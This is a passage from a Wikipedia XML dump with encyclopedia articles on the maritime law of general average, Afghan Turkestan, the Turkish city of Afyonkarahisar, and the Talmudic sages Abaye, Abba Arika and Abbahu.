=== Customary rights. ===

There are certain rights and obligations arising out of the relationship of shipowner and cargo-owner in circumstances of extraordinary peril or urgency in the course of a voyage, which, though not strictly contractual, are well established by the customs of merchants and recognized by the law.  It is obvious that, when a ship carrying a cargo is in the course of a voyage, the master to some extent represents the owners of both ship and cargo.  In cases of emergency it may be necessary that the master should, without waiting for authority or instructions, incur expense or make sacrifices as agent not only of his employer, the shipowner, but also of the cargo-owner.  Ship and cargo may be in peril, and it may be necessary for the safety of both to put into a port of refuge.  There it may be necessary to repair the ship, and to land and warehouse, and afterwards re-ship the cargo.  For these purposes the master will be obliged to incur expense, of which some part, such as the cost of repairing the ship, will be for the benefit of the shipowner; part, such as the warehousing expenses, will be for the benefit of the cargo-owner; and part, such as the port charges incurred in order to enter the port of refuge, are for the common benefit and safety of ship and cargo.  Again, in a storm at sea, it may be necessary for the safety of ship and cargo to cut away a mast or to jettison, that is to say, throw overboard part of the cargo.  In such a case the master, acting for the shipowner or cargo-owner, as the case may be, makes a sacrifice of part of the ship or part of the cargo, in either case for the purpose of saving ship and cargo from a danger common to both.  Voluntary sacrifices so made and extraordinary expenses incurred for the common safety are called general average (see [[Average]]) sacrifices and expenses, and are made good to the person who has made the sacrifice or incurred the expense by a general average contribution, which is recoverable from the owners of the property saved in proportion to its value, or, in other words, each contributes rateably according to the benefit received.  The law regulating the rights of the parties with regard to such contribution is called the law of General Average.  It must, however, be remembered that the owner of the cargo is entitled under the contract of affreightment to the ordinary service of the ship and crew for the safe carriage of the cargo to its destination, and the shipowner is bound to pay all ordinary expenses incurred for the purpose of the voyage.  He must also bear all losses arising from damage to the ship by accidents.  But when extraordinary expense has been incurred by the shipowner for the safety of the cargo, he can recover such expense from the owner of the cargo as a special charge on cargo; or when an extraordinary expense has been incurred or a voluntary sacrifice made by the shipowner to save the ship and cargo from a peril common to both, he may require the owner of cargo to contribute in general average to make good the loss. 

See Carver, Carriage by Sea ([[London]], [[1905]]); Scrutton, Charter-parties and Bills of Lading (London, [[1904]]). (W.)

==References==
*{{1911}}

[[Category:Commercial item transport and distribution]]</text>
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  <page>
    <title>Afghan Turkestan</title>
    <id>2667</id>
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      <text xml:space="preserve">'''Afghan Turkestan''' is the northern part of [[Afghanistan]], on the border with the former [[Soviet republic]]s of [[Turkmenistan]] and [[Tajikistan]].

Afghan Turkestan is also the name of a former province in this area, which was centred on [[Mazar-e Sharif]] and included territory in the modern provinces of [[Kunduz province|Kunduz]], [[Balkh province|Balkh]], [[Jowzjan province|Jowzjan]] and [[Sar-e Pol province|Sar-e Pol]]. The whole territory, from the junction of the [[Kokcha]] river with the [[Amu Darya]] on the north-east to the province of [[Herat province|Herat]] on the south-west, was some 500 miles in length, with an average width from the Russian frontier to the Hindu Kush of 114 miles (183 km). It thus comprised about 57,000 square miles (148,000 km&amp;sup2;) or roughly two-ninths of the former kingdom of Afghanistan.

==Geography==

The area is agriculturally poor except in the river valleys, being rough and mountainous towards the south, but subsiding into undulating wastes and pasture-lands towards the [[Turkman Desert]].

==Population==

Ethnically and historically Afghan Turkestan is more connected with [[Bukhara]] than with [[Kabul]], of which government it has been a dependency only since the time of [[Dost Mahommed Khan|Dost Mahommed]].  The bulk of the people of the cities are of [[Persians|Persian]] ([[Tajiks]]) and [[Turkic peoples|Turkic]] ([[Uzbek]]) stock, but interspersed with them are Mongol [[Hazara]]s and [[Hinduism|Hindus]] with [[Turkmen people|Turkmen]] tribes in the Amu Darya plains.

==History==

Ancient Balkh or Bactriana was a province of the Achaemenian empire, and probably was occupied in great measure by a race of [[Iranian peoples|Iranian]] blood.  About [[250 BC]] [[Diodotus of Bactria|Diodotus (Theodotus)]], governor of [[Bactria]] under the [[Seleucid dynasty|Seleucidae]], declared his independence, and commenced the history of the Greco-Bactrian dynasties, which succumbed to [[Parthia]]n and nomadic movements about [[126 BC]]. After this came a [[Buddhism|Buddhist]] era which has left its traces in the gigantic sculptures at Bamian and the rock-cut topes of Haibak.  The district was devastated by [[Genghis Khan]], and has never since fully recovered its prosperity. For about a century it belonged to the [[Delhi]] empire, and then fell into Uzbeg hands.  In the [[18th century]] it formed part of the dominion of Ahmad Khan Durani, and so remained under his son Timur.  But under the fratricidal wars of Timur's sons the separate khanates fell back under the independent rule of various Uzbek chiefs.  At the beginning of the [[19th century]] they belonged to Bukhara; but under the [[emir]] Dost Mahommed the Afghans recovered Balkh and Tashkurgan in [[1850]], Akcha and the four western khanates in [[1855]], and Kunduz in [[1859]].  The sovereignty over Andkhui, Shibarghan, Saripul and Maimana was in dispute between Bukhara and Kabul until settled by the Anglo-Russian agreement of 1873 in favour of the Afghan claim.  Under the strong rule of [[Abdur Rahman Khan|Abdur Rahman]] these outlying territories were closely welded to Kabul; but after the accession of Habibullah the bonds once more relaxed.

[[Category:Geography of Afghanistan]]
[[Category:Subdivisions of Afghanistan]]</text>
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  <page>
    <title>Afyonkarahisar</title>
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      <text xml:space="preserve">'''Afyonkarahisar''' ([[Turkish language|Turkish]] for the ''black [[opium]] castle'') is a city in western [[Turkey]], also known simply as '''Afyon''' (i.e. opium) or as '''Karahisar-i Sahip'''. Older spellings include '''Afium-Kara-hissar''' and '''Afyon Karahisar'''. It is the capital of [[Afyonkarahisar Province|Afyon]] [[Provinces of Turkey|province]]. It is located 250 km south-west of [[Ankara]] along the [[Akar River]] at an elevation of 1 034 meters. It has a population of 128 516 and is an important railroad junction between [[Izmir]], [[Konya]], Ankara and [[Istanbul]]. The region is traditionally the main producer of opium in Turkey, thereby its name. 

Afyon was known as [[Acroënus]] until the reign of the [[List of Byzantine Emperors|Byzantine emperor]] [[Leo III]] who after his victory over [[Arab]] besiegers in [[740]] renamed it [[Nicopolis]] ([[Greek language|Greek]] for the ''Victory City''). The [[Seljuk Turks]] changed its name to Kara Hissar (the ''black castle'') after the ancient fortress situated upon a volcanic rock 201 meters above the town. 

It was conquered by the [[Ottoman Empire|Ottoman]] Sultan [[Beyazid I]] in [[1392]] but was lost after the invasion of [[Timur Lenk]] in [[1402]]. It was recaptured in [[1428]] or [[1429]]. During the [[Turkish War of Independence]] in the early [[1920s]] it was occupied by Greek forces. After [[1923]] it became a part of the Republic of Turkey.

Apart from the partly ruined fortress which has given the city its name, famous buildings includes the Ulu Camii (Great Mosque) and the Altigöz Bridge, both built by the Seljuks in the [[13th century]]. It is the seat of an [[Armenian Orthodox Church|Armenian]] [[bishop]].

{|class=&quot;wikitable&quot;
|+ '''Table of population increase'''
|-
| '''Year''' || [[1911]] || [[1990]] || [[1995]] || [[2000]]
|-
| '''Population''' || 18,000 || 95,643 || 103,000 || 128,516
|}

== External links ==

* [http://www.pbase.com/dosseman/afyon_turkey Pictures of the city]
* [http://www.turkeyforecast.com/weather/afyon/ Afyon Weather Forecast Information]
* [http://www.anatolia.luwo.be/Afyon.htm Afyon Guide and Photo Album]

{{Districts of Afyonkarahisar}}

[[Category:Cities in Turkey]]

[[de:Afyon]]
[[fr:Afyonkarahisar]]
[[gl:Afion - Afyon]]
[[tr:Afyon (il)]]</text>
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    <title>Abaye</title>
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      <text xml:space="preserve">'''Abaye''', (&quot;little father&quot;) the name of a [[Babylonia]]n ''[['amora]]'', born in [[278]]. He was an [[orphan]], and was raised by his uncle, [[Rabbah bar Nachmani]], and his wife. Abaye assumed the position of head of the ''[[yeshiva]]'' of [[Pumbedita]] shortly after the retirement of his uncle. His father, Kaylil, was the brother of Rabbah bar Nachmani, a teacher at the Academy of Pumbedita. Abaye's real name was Nachmani, after his grandfather; but being left an orphan at an early age, he was adopted by his uncle, Rabbah bar Nachmani, who nicknamed him Abaye (&quot;Little Father&quot;), to avoid confusion with his grandfather of the same name, and thenceforth he was known as Abaye, without any other title. It is a curious fact that he perpetuated the memory of his foster-mother, probably a slave in Rabbah's household, by mentioning her name in many popular recipes and dietetic precepts, some of which seem to be based on superstitious notions. He introduced each recipe with the phrase, &quot;My mother told me.&quot; Abaye's teachers were his uncle Rabbah and [[Joseph bar Chama]], both of whom successively became presidents of the Pumbedita Academy. When Joseph died in 333, this dignity was conferred upon Abaye, who retained it until his death some five years later. Rabbah trained him in the application of the dialectic method to halakhic problems, and Joseph, with his stores of traditional lore, taught him to appreciate the value of positive knowledge. Abaye had enormous respect for his uncle, and the ''[[Gemara]]'' records that he used to entertain his uncle by juggling.

Abaye was a master of ''[[Torah]]'' study and the art of teaching ''Torah''. He studied at the ''[[yeshiva]]'' (Torah Academy) of Pumbedita, run by his uncle. There his good friend and study-partner was [[Rava]], with whom he often engaged in debates on various aspects of [[Torah]] Law. The debates between Rava and Abaye are considered classic examples of [[Talmud]]ic discourse. Of their hundreds of recorded disputes, the Law is decided according to the opinion of [[Rava]] in all but six cases. Superior as Abaye no doubt was in his dialectic analysis of halakhic sentences, he was, nevertheless, surpassed in this regard by Raba, with whom he had been closely associated from early youth. To the disputations between these ''amoraim'' we owe the development of the dialectic method in the treatment of halakic traditions. Their debates are known as the ''Hawayot de-Abaye we-Raba'' (Debates of Abaye and Raba), the subjects of which were then considered such essential elements of Talmudic knowledge that by an anachronism they were thought to be known to [[Johanan ben Zakkai]], who lived some centuries before (''Suk.'' 28a). Their halakic controversies are scattered throughout the ''Babylonian Talmud''. With the exception of six of his decisions, the opinions of Raba were always accepted as final. Abaye was never so happy as when one of his disciples had completed the study of a Mishnah treatise. On such occasions he always gave a feast to his pupils (''Shab.'' 118b), though his circumstances were needy, and wine never appeared upon his table. His peace-loving disposition and his sincere piety are well exhibited in his maxims (''Ber.'' 17a), among which occur the following: &quot;Be mild in speech; suppress your wrath; and maintain good-will in intercourse with your relatives as well as with others, even with strangers in the market-place.&quot;

Abaye urged his disciples to conduct themselves in such a way as to lead others to the love of God (''Yoma'', 86a). In Biblical exegesis he was one of the first to draw a distinct line between the evident meaning of the text (''peshaṭ'') and the sense ascribed to it by midrashic interpretation. He formulated the following rule, of great importance in Talmudic exegesis (''Sanh.'' 34a): &quot;One Bible verse can be referred to different subjects, but several different Bible verses can not refer to one and the same subject.&quot; 

He defended the [[apocryphal]] book ''[[Ecclesiasticus]]'' against his teacher Joseph. By quoting from it a number of edifying passages he showed that it did not belong to the heretical books which are forbidden, and even compelled his teacher to admit that quotations might with advantage be taken from it for homiletical purposes (''Sanh.'' 100b). Possessing an extensive knowledge of tradition, Abaye became a most eager disciple of [[Dimi]], the Palestinian ''amora'', who had brought to Babylonia a perfect treasury of interpretations by Palestinian ''amoraim''. Abaye considered Dimi, as a representative of the Palestinian school, a qualified Bible exegete, and used to ask him how this or that Bible verse was explained in &quot;the West,&quot; or Palestine. Of his own interpretations of Biblical passages only a few, of a haggadic nature, are preserved; but he often supplements, elucidates, or corrects the opinions of older authorities.

Abaye was also a ''[[Kohen]]'' (a [[priest]]), descending from the family of [[Eli]], and he was caught up in the curse that was placed on that family by [[God]], that no one would ever live out his full years, because of the desecration of God’s name caused by the misdeeds of Eli’s sons, [[Chofni]] and [[Pinchas]]. Abaye’s righteous behavior staved off the curse for many years but he succumbed to [[edema]] in the year 338 or 339 at the relatively young age of sixty.

Bibliography: Lampronti, ''Paḥad Yiẓḥaḳ'', s.v.; Heilprin, ''Seder ha-Dorot'', pp. 22-25; Hamburger, ''R. B. T.'', 1883, part ii., s.v.; Kohut, ''Aruch,'' s.v. (in which is found an enumeration of all the passages of the ''Talmud'' containing Abaye's name); Bacher, ''Ag. Bab. Amor.'' s.v.; Weiss, ''Dor''; M. S. Antokolski in ''Ha-Asif,'' 1885, ii. 503-506, with Straschun's notes.

== External links and references ==
* [http://www.ou.org/about/judaism/rabbis/abaye.htm OU page on Abaye] (died in 338)
* [http://bible.tmtm.com/wiki/ABAYE_(Jewish_Encyclopedia) Jewish Encyclopedia] (died in 339)

{{Wikisource1911Enc|'Abaye}}
{{JewishEncyclopedia}}

[[Category:Talmud rabbis]]
[[Category:278 births]]
[[Category:338 deaths]]

[[he:אביי]]
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  <page>
    <title>Abba Arika</title>
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      <text xml:space="preserve">{{cleanup-date|August 2005}}

:''Rav redirects here. For other uses, see [[RAV (disambiguation)]].''

'''Abba Arika''' (d. [[247]])  was the [[Babylon]]ian ''[['amora]]'' of the [[3rd century]] who established at [[Sura (city)|Sura]] the systematic study of the [[rabbinic]] traditions which, using the ''[[Mishnah]]'' as text, led to the compilation of the ''[[Talmud]]''. He is commonly known as '''Rav''' (or '''Rab''').

==Overview==
His surname, '''Arika''' (English, &quot;Long&quot;— that is, &quot;Tall&quot;; it occurs only once—''Ḥul.'' 137b), he owed to his height, which, according to a reliable record, exceeded that of his contemporaries. Others, reading '''Areka,''' consider it an honorary title, &quot;Lecturer&quot; (Weiss, ''Dor,'' iii. 147; Jastrow, ''Dict.'' s.v.). In the traditional literature he is referred to almost exclusively as '''Rab the Master''' (both his contemporaries and posterity recognizing in him a master), just as his teacher, [[Judah HaNasi|Judah I]], was known simply as Rabbi. He is called Rabbi Abba only in the ''[[tannaitic]]'' literature (for instance, ''Tosefta'', ''Beẓah,'' i. 7), where a number of his sayings are preserved. He occupies a middle position between the ''Tannaim'' and the ''Amoraim'', and is accorded the right, rarely conceded to one who is only an '' 'amora'', of disputing the opinion of a ''tanna'' (''B.B.'' 42a and elsewhere).

Rab was a descendant of a distinguished Babylonian family which claimed to trace its origin to [[Shimei]], brother of [[King David]] (''Sanh.'' 5a; ''Ket.'' 62b). His father, [[Aibo]], was a brother of [[Chiyya]], who lived in [[Palestine]], and was a highly esteemed scholar in the collegiate circle of the patriarch Judah I. From his associations in the house of his uncle, and later as his uncle's disciple and as a member of the academy at [[Sepphoris]], Rab acquired such an extraordinary knowledge of traditional lore as to make him its foremost exponent in his native land. While Judah I was still living, Rab, having been duly ordained as teacher—though not without certain restrictions (''Sanh.'' l.c.)—returned to [[Babylonia]], where he at once began a career that was destined to mark an epoch in the development of Babylonian Judaism.

==Beginning of the Talmudic Age==
In the annals of the Babylonian schools the year of his arrival is recorded as the starting-point in the chronology of the Talmudic age. It was the 530th year of the [[Seleucid]]an and the 219th year of the [[common era]]. As the scene of his activity, Rab first chose [[Nehardea]], where the [[exilarch]] appointed him ''[[agoranomos]]'', or market-master, and Rabbi [[Shela]] made him lecturer (''amora'') of his college (''Yer. B. B.'' v. 15a; ''Yoma,'' 20b). Then he removed to [[Sura]], on the [[Euphrates]], where he established a school of his own, which soon became the intellectual center of the Babylonian Jews. As a renowned teacher of the Law and with hosts of disciples, who came from all sections of the Jewish world, Rab lived and worked in Sura until his death. Samuel, another disciple of Judah I, at the same time brought to the academy at Nehardea a high degree of prosperity; in fact, it was at the school of Rab that Jewish learning in Babylonia found its permanent home and center. Rab's activity made Babylonia independent of Palestine, and gave it that predominant position which it was destined to occupy for several centuries.

==Rab as Teacher==
The method of treatment of the traditional material to which the Talmud owes its origin was established in Babylonia by Rab. That method takes the ''Mishnah'' of Judah ha-Nasi as a text or foundation, adding to it the other ''tannaitic'' traditions, and deriving from all of them the theoretical explanations and practical applications of the religious Law. The legal and ritual opinions recorded in Rab's name and his disputes with Samuel constitute the main body of the [[Babylonian Talmud]]. His numerous disciples—some of whom were very influential and who, for the most part, were also disciples of Samuel—amplified and, in their capacity as instructors and by their discussions, continued the work of Rab. In the Babylonian schools, Rab was rightly referred to as &quot;our great master.&quot; Rab also exercised a great influence for good upon the moral and religious conditions of his native land, not only indirectly through his disciples, but directly by reason of the strictness with which he repressed abuses in matters of [[marriage]] and [[divorce]], and denounced ignorance and negligence in matters of [[ritual observance]].

==Ethical Teaching==
Rab, says tradition, found an open, neglected field and fenced it in (''Ḥul.'' 110a). Special attention was given by him to the [[liturgy]] of the [[synagogue]]. He is reputed to be the author of one of the finest compositions in the Hebrew prayerbook, the ''[[Musaf]]'' service of the [[Rosh Hashanah|New Year]]. In this noble prayer are evinced profound religious feeling and exalted thought, as well as ability to use the [[Hebrew language]] in a natural, expressive, and classical manner (''Yer. R. H.'' i. 57a). The many [[homiletic]] and [[ethical]] (haggadistic) sayings recorded of him show similar ability. As a haggadist Rab is surpassed by none of the Babylonian ''Amoraim''. He is the only one of the Babylonian teachers whose haggadistic utterances approach in number and contents those of the Palestinian haggadists. The [[Palestinian Talmud]] has preserved a large number of his halakic and haggadistic utterances; and the Palestinian ''[[Midrashim]]'' also contain many of his ''haggadot''. Rab delivered homiletic discourses, both in the college (''bet hamidrash'') and in the synagogues. He especially loved to treat in his homilies of the events and personages of Biblical history; and many beautiful and genuinely poetic embellishments of the Biblical record, which have become common possession of the ''[[Haggadah]]'', are his creations. His ''Haggadah'' is particularly rich in thoughts concerning the moral life and the relations of human beings to one another. A few of these utterances may be quoted here: (''Shab.'' 10b)

*&quot;The commandments of the [[Torah]] were only given to purify men's morals&quot; (''Gen. R.'' xliv.). 
*&quot;Whatever may not properly be done in public is forbidden even in the most secret chamber&quot; (''Shab.'' 64b). 
*&quot;It is well that people busy themselves with the study of the Law and the performance of charitable deeds, even when not entirely disinterested; for the habit of right-doing will finally make the intention pure&quot; (''Pes.'' 50b). 
*&quot;Man will be called to account for having deprived himself of the good things which the world offered&quot; (''Yer. Ḳid.'' end). 
*&quot;Whosoever hath not pity upon his fellow man is no child of [[Abraham]]&quot; (''Beẓah,'' 32b). 
*&quot;It is better to cast oneself into a fiery furnace than publicly to put to shame one's fellow creature&quot; (''B. M.'' 59a). 
*&quot;One should never betroth himself to a woman without having seen her; one might subsequently discover in her a blemish because of which one might loathe her and thus transgress the commandment: 'Thou shalt love thy neighbor as thyself'&quot; (''Ḳid.'' 41a). 
*&quot;A father should never prefer one child above another; the example of [[Joseph]] shows what evil results may follow therefrom&quot;.

==Rab reproves Extreme Asceticism==
Rab loved the ''Book of Ecclesiasticus'' ([[Sirach]]), and warned his disciple [[Hamnuna]] against unjustifiable asceticism by quoting advice contained therein—that, considering the transitoriness of human life ('' 'Er.'' 54a), one should not despise the good things of this world. To the celestial joys of the future he was accustomed to refer in the following poetic words: (''Ber.'' 17a)

:&quot;There is naught on earth to compare with the future life. In the world to come there shall be neither eating nor drinking, neither trading nor toil, neither hatred nor envy; but the righteous shall sit with crowns upon their heads, and rejoice in the radiance of the Divine Presence&quot;.

Rab also devoted much attention to [[mystical]] and [[transcendental]] speculations which the rabbis connect with the Biblical account of creation (''Gen.'' i., ''Ma'aseh Bereshit''), the vision of the mysterious chariot of God (''Ezek.'' i., ''Ma'aseh Merkabah''), and the [[Divine Name]]. Many of his important utterances testify to his tendency in this direction (''Ḥag.'' 12a, ''Ḳid.'' 71a).

==Status in Life==
Concerning the social position and the personal history of Rab we are not informed. That he was rich seems probable; for he appears to have occupied himself for a time with commerce and afterward with agriculture (''Ḥul.'' 105a). That he was highly respected by the [[Gentile]]s as well as by the Jews of Babylonia is proved by the friendship which existed between him and the last [[Parthia]]n king, [[Artaban]] ('' 'Ab. Zarah,'' 10b). He was deeply affected by the death of Artaban (226) and the downfall of the [[Arsacid]] dynasty, and does not appear to have sought the friendship of [[Ardeshir]], founder of the [[Sassanian]] dynasty, although [[Samuel of Nehardea]] probably did so. Rab became closely related, through the marriage of one of his daughters, to the family of the exilarch. Her sons, Mar Ukba and Nehemiah, were considered types of the highest aristocracy. Rab had many sons, several of whom are mentioned in the ''Talmud'', the most distinguished being the eldest, Chiyya. The latter did not, however, succeed his father as head of the academy: this post fell to Rab's disciple Huna. Two of his grandsons occupied in succession the office of exilarch (''resh galuta,'' ''Ḥul.'' 92a).

Rab died at an advanced age, deeply mourned by numerous disciples and the entire Babylonian Jewry, which he had raised from comparative insignificance to the leading position in Judaism (''Shab.'' 110a, ''M. Ḳ.'' 24a).

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[[Category:Talmud rabbis]]
[[Category:247 deaths]]

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  <page>
    <title>Abbahu</title>
    <id>2671</id>
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      <id>38816332</id>
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      <comment>Robot: corrected link to disambiguation page Roman ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">''' 'Abbahu''', the name of an ''[['amora]]'' who flourished c. 279-320 in [[Eretz Yisrael]]. 'Abbahu encouraged the study of [[Greek language|Greek]] by [[Jew]]s. He was famous as a collector of traditional lore, and is very often cited in the ''[[Talmud]]''.

==Knowledge of Greek Literature==
A celebrated Palestinian '' 'amora'' of the third amoraic generation (about 279-320), sometimes cited as R. Abbahu of [[Caesarea]] (Ḳisrin). His [[rabbinic]] education was acquired mainly at [[Tiberias]], in the academy presided over by R. Johanan, with whom his relations were almost those of a son (''Yer. Ber.'' ii. 4b; ''Giṭ.'' 44b; ''B. B.'' 39a). He frequently made pilgrimages to Tiberias, even after he had become well known as rector of the Caesarean Academy (''Yer. Shab.'' viii. 11a; ''Yer. Pes.'' x. 37c). He was an authority on weights and measures (''Yer. Ter.'' v. 43c). He learned [[Greek language|Greek]] in order to become useful to his people, then under the [[Roman Empire|Roman]] ''[[proconsul]]s'', that language having become, to a considerable extent, the rival of the [[Hebrew language|Hebrew]] even in prayer (''Yer. Soṭah,'' vii. 21b); and, in spite of the bitter protest of [[Simon b. Abba]], he also taught his daughters Greek (''Yer. Shab.'' vi. 7d; ''Yer. Soṭah,'' ix. 24c; ''Sanh.'' 14a). Indeed, it was said of 'Abbahu that he was a living illustration of the maxim (''Eccl.'' vii. 18; compare ''[[Targum]]''), &quot;It is good that thou shouldest take hold of this [the study of the Law]; yea, also from that [other branches of knowledge] withdraw not thine hand: for he that feareth God shall come forth of them all&quot; (''Eccl. R.'' to vii. 18).

==Rector in Caesarea==
Being wise, handsome, and wealthy (B. M. 84a; Yer. B. M. iv. 9d), Abbahu became not only popular with his coreligionists, but also influential with the proconsular government (Ḥag. 14a; Ket. 17a). On one occasion, when his senior colleagues, Ḥiyya b. Abba, Ammi, and Assi, had punished a certain woman, and feared the wrath of the proconsul, Abbahu was deputed to intercede for them. He had, however, anticipated the rabbis' request, and wrote them that he had appeased the informers but not the accuser. The witty enigmatic letter describing this incident, preserved in the Talmud (Yer. Meg. iii. 74a), is in the main pure Hebrew, and even includes Hebrew translations of Greek proper names, to avoid the danger of possible exposure should the letter have fallen into the hands of enemies and informers (compare 'Er. 53b). After his ordination he declined a teacher's position, recommending in his stead a more needy friend, R. Abba of Acre (Acco), as worthier than himself (Soṭah, 40a). He thereby illustrated his own doctrine that it is a divine virtue to sympathize with a friend in his troubles as well as to partake of his joys (Tan., Wa-yesheb, ed. Buber, 16). Later he assumed the office of rector in Cæsarea, the former seat of R. Hoshaya I., and established himself at the so-called Kenishta Maradta (Insurrectionary Synagogue; Yer. Naz. vii. 56a; Yer. Sanh. i. 18a; compare Josephus, &quot;B. J.&quot; ii. 14, § 5; Jastrow, &quot;Dict.&quot; p. 838), whence some of the most prominent teachers of the next generation issued. He did not, however, confine his activity to Cæsarea, where he originated several ritualistic rules (Yer. Dem. ii. 23a, R. H. 34a), one of which—that regulating the sounding of the shofar—has since been universally adopted, and is referred to by medieval Jewish casuists as &quot;Takkanat R. Abbahu&quot; (the Enactment of R. Abbahu; compare &quot;Maḥzor Vitry,&quot; Berlin, 1893, p. 355). He also visited and taught in many other Jewish towns (Yer. Ber. viii. 12a; Yer. Shab. iii. 5c).

While on these journeys, Abbahu gathered so many Halakot that scholars turned to him for information on mooted questions (Yer. Shab. viii. 11a; Yer. Yeb. i. 2d). In the course of these travels he made a point of complying with all local enactments, even where such compliance laid him open to the charge of inconsistency (Yer. Ber. viii. 12a; Yer. Beẓah, i. 60d). On the other hand, where circumstances required it, he did not spare even the princes of his people (Yer. 'Ab. Zarah, i. 39b). Where, however, the rigorous exposition of laws worked hardship on the masses, he did not scruple to modify the decisions of his colleagues for the benefit of the community (Shab. 134b; Yer. Shab. xvii. 16b; Yer. M. Ḳ. i. 80b). As for himself, he was very strict in the observance of the laws. On one occasion he ordered some Samaritan wine, but subsequently learning that there were no longer any strict observers of the dietary laws among the Samaritans, with the assistance of his colleagues, Ḥiyya b. Abba, Ammi, and Assi, he investigated the report, and, ascertaining it to be well founded, did not hesitate to declare the Samaritans, for all ritualistic purposes, Gentiles (Yer. 'Ab. Zarah, v. 44d; Ḥul. 6a).

==Abbahu and Ḥiyya b. Abba==
R. Abbahu's chief characteristic seems to have been modesty. While lecturing in different towns, he met R. Ḥiyya b. Abba, who was lecturing on intricate halakic themes. As Abbahu delivered popular sermons, the masses naturally crowded to hear him, and deserted the halakist. At this apparent slight, R. Ḥiyya manifested chagrin, and R. Abbahu hastened to comfort him by comparing himself to the pedler of glittering fineries that always attracted the eyes of the masses, while his rival was a trader in precious stones, the virtues and values of which were appreciated only by the connoisseur. This speech not having the desired effect, R. Abbahu showed special respect for his slighted colleague by following him for the remainder of that day. &quot;What,&quot; said Abbahu, &quot;is my modesty as compared with that of R. Abba of Acre (Acco), who does not even remonstrate with his interpreter for interpolating his own comments in the lecturer's expositions.&quot; When his wife reported to him that his interpreter's wife had boasted of her own husband's greatness, R. Abbahu simply said, &quot;What difference does it make which of us is really the greater, so long as through both of us heaven is glorified?&quot; (Soṭah, 40a). His principle of life he expressed in the maxim, &quot;Let man ever be of the persecuted, and not of the persecutors; for there are none among the birds more persecuted than turtle-doves and pigeons, and the Scriptures declare them worthy of the altar&quot; (B. Ḳ. 93a).

R. Abbahu, though eminent as a halakist, was more distinguished as a haggadist and controversialist. He had many interesting disputes with the Christians of his day (Shab. 152b; Sanh. 39a; 'Ab. Zarah, 4a). Sometimes these disputes were of a jocular nature. Thus, a heretic bearing the name of Sason (=Joy) once remarked to him, &quot;In the next world your people will have to draw water for me; for thus it is written in the Bible (Isa. xii. 3), 'With joy shall ye draw water.'&quot; To this R. Abbahu replied, &quot;Had the Bible said 'for joy' [le-sason], it would mean as thou sayest; but since it says 'with joy' [be-sason], it means that we shall make bottles of thy hide and fill them with water&quot; (Suk. 48b). These controversies, though forced on him, provoked resentment; and it is even related that his physician, Jacob the Schismatic (Minaah), was slowly poisoning him, but R. Ammi and R. Assi discovered the crime in time ('Ab Zarah, 28a).

Abbahu had two sons, Zeira and Ḥanina. Some writers ascribe to him a third son, Abimi (Bacher,&quot;Ag. Pal. Amor.&quot;). Abbahu sent Ḥanina to the academy at Tiberias, where he himself had studied; but the lad occupied himself with the burial of the dead, and on hearing of this, the father sent him a reproachful message in this laconic style: &quot;Is it because there are no graves in Cæsarea (compare Ex. xiv. 11) that I have sent thee off to Tiberias? Study must precede practise&quot; (Yer. Pes. iii. 30b). Abbahu left behind him a number of disciples, the most prominent among whom were the leaders of the fourth amoraic generation, R. Jonah and R. Jose. At Abbahu's death the mourning was so great that it was said, &quot;Even the statues of Cæsarea shed tears&quot; (M. Ḳ. 25b; Yer. 'Ab. Zarah, iii. 42c).

There are several other Abbahus mentioned in the Talmudim and Midrashim, prominent among whom is Abbahu (Abuha, Aibut) b. Ihi (Ittai), a Babylonian halakist, contemporary of Samuel and Anan ('Er. 74a), and brother of Minyamin (Benjamin) b. Ihi. While this Abbahu repeatedly applied to Samuel for information, Samuel in return learned many Halakot from him (Naz. 24b; B. M. 14a, 75a; see Benjamin b. Ihi).

&quot;When does your Messiah come?&quot; a Christian (Minaah) once asked Abbahu in a tone of mockery; whereupon he replied: &quot;When you will be wrapped in darkness, for it says, 'Behold, darkness shall cover the earth, and gross darkness the nations; then shall the Lord rise upon thee and His glory shall be seen on thee' [Isa. lx. 2],&quot; (Sanh. 99a). A Christian came to Abbahu with the quibbling question: &quot;How could your God in His priestly holiness bury Moses without providing for purificatory rites, yet oceans are declared insufficient?&quot; (Isa. xl. 12). &quot;Why,&quot; said Abbahu, &quot;does it not say, 'The Lord cometh with fire'?&quot; (Isa. lxvi. 15). &quot;Fire is the true element of purification, according to Num. xxi. 23,&quot; was his answer (Sanh. 39a). Another question of the same character: &quot;Why the boastful claim: 'What nation on earth is like Thy people Israel' (II Sam. vii. 23), since we read, 'All the nations are as nothing before Him'?&quot; (Isa. xl. 17), to which Abbahu replied: &quot;Do we not read of Israel, he 'shall not be reckoned among the nations'?&quot; (Num. xxiii. 9, Sanh. as above). Abbahu made a notable exception with reference to the Tosefta's statement that the Gilionim (Evangels) and other books of the Mineans are not to be saved from a conflagration on Sabbath: &quot;the books of those at Abidan may be saved&quot; (Shab. 116a). Of special historical interest is the observation of Abbahu in regard to the benediction &quot;Baruk Shem Kebod Malkuto&quot; (Blessed be the Name of His glorious Kingdom) after the &quot;Shema' Yisrael,&quot; that in Palestine, where the Christians look for points of controversy, the words should be recited aloud (lest the Jews be accused of tampering with the unity of God proclaimed in the Shema'), whereas in the Babylonian city of Nehardea, where there are no Christians, the words are recited with a low voice (Pes. 56a). Preaching directly against the Christian dogma, Abbahu says: &quot;A king of flesh and blood may have a father, a brother, or a son to share in or dispute his sovereignty, but the Lord saith, 'I am the Lord thy God! I am the first; that is, I have no father, and I am the last; that is, I have no brother, and besides me there is no God; that is, I have no son'&quot; (Isa. xliv. 6; Ex. R. 29). His comment on Num. xxiii. 19 has a still more polemical tone: &quot;God is not a man that he should lie; neither the son of man, that he should repent. If a man say, 'I am God,' he lieth, and if he say, 'I am the son of man,' he will have to repent, and if he say, 'I shall go up to heaven,' he will not do it, nor achieve what he promises&quot; (Yer. Ta'anit, ii. 65b).

Some of his controversies on Christian theological subjects, as on Adam (Yalḳ., Gen. 47), on Enoch (Gen. R. 25), and on the resurrection (Shab. 152b), are less clear and direct (see Bacher, &quot;Ag. Pal. Amor.&quot; ii. 97, 115-118).

Bibliography: Grätz, Gesch. d. Juden, 2d ed., iv., 304, 307-317; Jost, Gesch. des Judenthums und seiner Sekten, ii. 161-164; Frankel, Mebo, pp. 58a-60; Weiss, Dor, iii. 103-105; Bacher, Ag. Pal. Amor. ii. 88-142.

{{Wikisource1911Enc|'Abbahu}}

[[Category:Talmud rabbis]]

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    <title>Abbreviator</title>
